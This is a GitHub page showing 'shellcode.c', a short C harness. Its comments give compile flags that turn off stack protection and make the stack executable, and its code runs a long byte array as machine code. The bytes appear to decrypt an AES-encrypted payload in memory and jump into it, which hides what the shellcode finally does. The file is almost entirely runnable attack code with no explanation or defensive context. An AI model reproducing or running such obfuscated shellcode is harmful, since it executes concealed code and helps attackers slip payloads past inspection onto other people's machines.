-
Notifications
You must be signed in to change notification settings - Fork 104
/
shellcode.c
8 lines (7 loc) · 2.23 KB
/
shellcode.c
1
2
3
4
5
6
7
8
//$ gcc -m64 -fno-stack-protector -z execstack shellcode.c -o shellcode
//$ ./shellcode
int main()
{
const char shellcode[] = "\x49\xbe\x47\xb4\xe3\xd8\x4f\x1e\xeb\x08\x66\x49\x0f\x6e\xc6\x49\xbf\x37\xbf\xbb\xfb\x24\xa5\x41\x2f\x66\x49\x0f\x6e\xef\x0f\xc6\xc0\x1b\x0f\xc6\xc5\x1b\x0f\x28\xd8\x66\x0f\xef\xf6\x66\x0f\x3a\xdf\xc8\x01\x66\x0f\x70\xc9\xff\x0f\xc6\xf0\x10\x66\x0f\xef\xc6\x0f\xc6\xf0\x8c\x66\x0f\xef\xc6\x66\x0f\xef\xc1\x66\x0f\x38\xdb\xd0\x66\x0f\x3a\xdf\xc8\x02\x66\x0f\x70\xc9\xff\x0f\xc6\xf0\x10\x66\x0f\xef\xc6\x0f\xc6\xf0\x8c\x66\x0f\xef\xc6\x66\x0f\xef\xc1\x66\x0f\x38\xdb\xf8\x66\x0f\x3a\xdf\xc8\x08\x66\x0f\x70\xc9\xff\x0f\xc6\xf0\x10\x66\x0f\xef\xc6\x0f\xc6\xf0\x8c\x66\x0f\xef\xc6\x66\x0f\xef\xc1\x66\x44\x0f\x38\xdb\xc8\x66\x0f\x3a\xdf\xc8\x10\x66\x0f\x70\xc9\xff\x0f\xc6\xf0\x10\x66\x0f\xef\xc6\x0f\xc6\xf0\x8c\x66\x0f\xef\xc6\x66\x0f\xef\xc1\x66\x44\x0f\x38\xdb\xf0\x66\x0f\x3a\xdf\xc8\x40\x66\x0f\x70\xc9\xff\x0f\xc6\xf0\x10\x66\x0f\xef\xc6\x0f\xc6\xf0\x8c\x66\x0f\xef\xc6\x66\x0f\xef\xc1\x66\x44\x0f\x38\xdb\xe0\x66\x0f\x3a\xdf\xc8\x80\x66\x0f\x70\xc9\xff\x0f\xc6\xf0\x10\x66\x0f\xef\xc6\x0f\xc6\xf0\x8c\x66\x0f\xef\xc6\x66\x0f\xef\xc1\x66\x44\x0f\x38\xdb\xd8\x66\x0f\x3a\xdf\xc8\x1b\x66\x0f\x70\xc9\xff\x0f\xc6\xf0\x10\x66\x0f\xef\xc6\x0f\xc6\xf0\x8c\x66\x0f\xef\xc6\x66\x0f\xef\xc1\x66\x44\x0f\x38\xdb\xd0\x66\x0f\x3a\xdf\xc8\x36\x66\x0f\x70\xc9\xff\x0f\xc6\xf0\x10\x66\x0f\xef\xc6\x0f\xc6\xf0\x8c\x66\x0f\xef\xc6\x66\x0f\xef\xc1\x44\x0f\x28\xf8\x49\xbe\xfc\xbb\x2a\xa5\xad\xd0\x02\x95\x66\x49\x0f\x6e\xc6\x49\xbf\x35\x3e\x6c\xe9\x92\x66\x7b\xd5\x66\x49\x0f\x6e\xef\x0f\xc6\xc0\x1b\x0f\xc6\xc5\x1b\x66\x41\x0f\xef\xc7\x66\x41\x0f\x38\xde\xc2\x66\x41\x0f\x38\xde\xc3\x66\x41\x0f\x38\xde\xc4\x66\x41\x0f\x38\xde\xc6\x66\x41\x0f\x38\xde\xc1\x66\x0f\x38\xde\xc7\x66\x0f\x38\xde\xc2\x66\x0f\x38\xdf\xc3\x48\x89\xd6\x0f\x29\x06\x49\xbe\xfb\x65\x55\x86\x0c\xd0\xa5\xbc\x66\x49\x0f\x6e\xc6\x49\xbf\xd2\xa6\x75\xe4\x33\x41\x1b\x21\x66\x49\x0f\x6e\xef\x0f\xc6\xc0\x1b\x0f\xc6\xc5\x1b\x66\x41\x0f\xef\xc7\x66\x41\x0f\x38\xde\xc2\x66\x41\x0f\x38\xde\xc3\x66\x41\x0f\x38\xde\xc4\x66\x41\x0f\x38\xde\xc6\x66\x41\x0f\x38\xde\xc1\x66\x0f\x38\xde\xc7\x66\x0f\x38\xde\xc2\x66\x0f\x38\xdf\xc3\x48\x83\xc2\x10\x0f\x29\x02\xff\xe6";
(*(void (*)())shellcode)();
}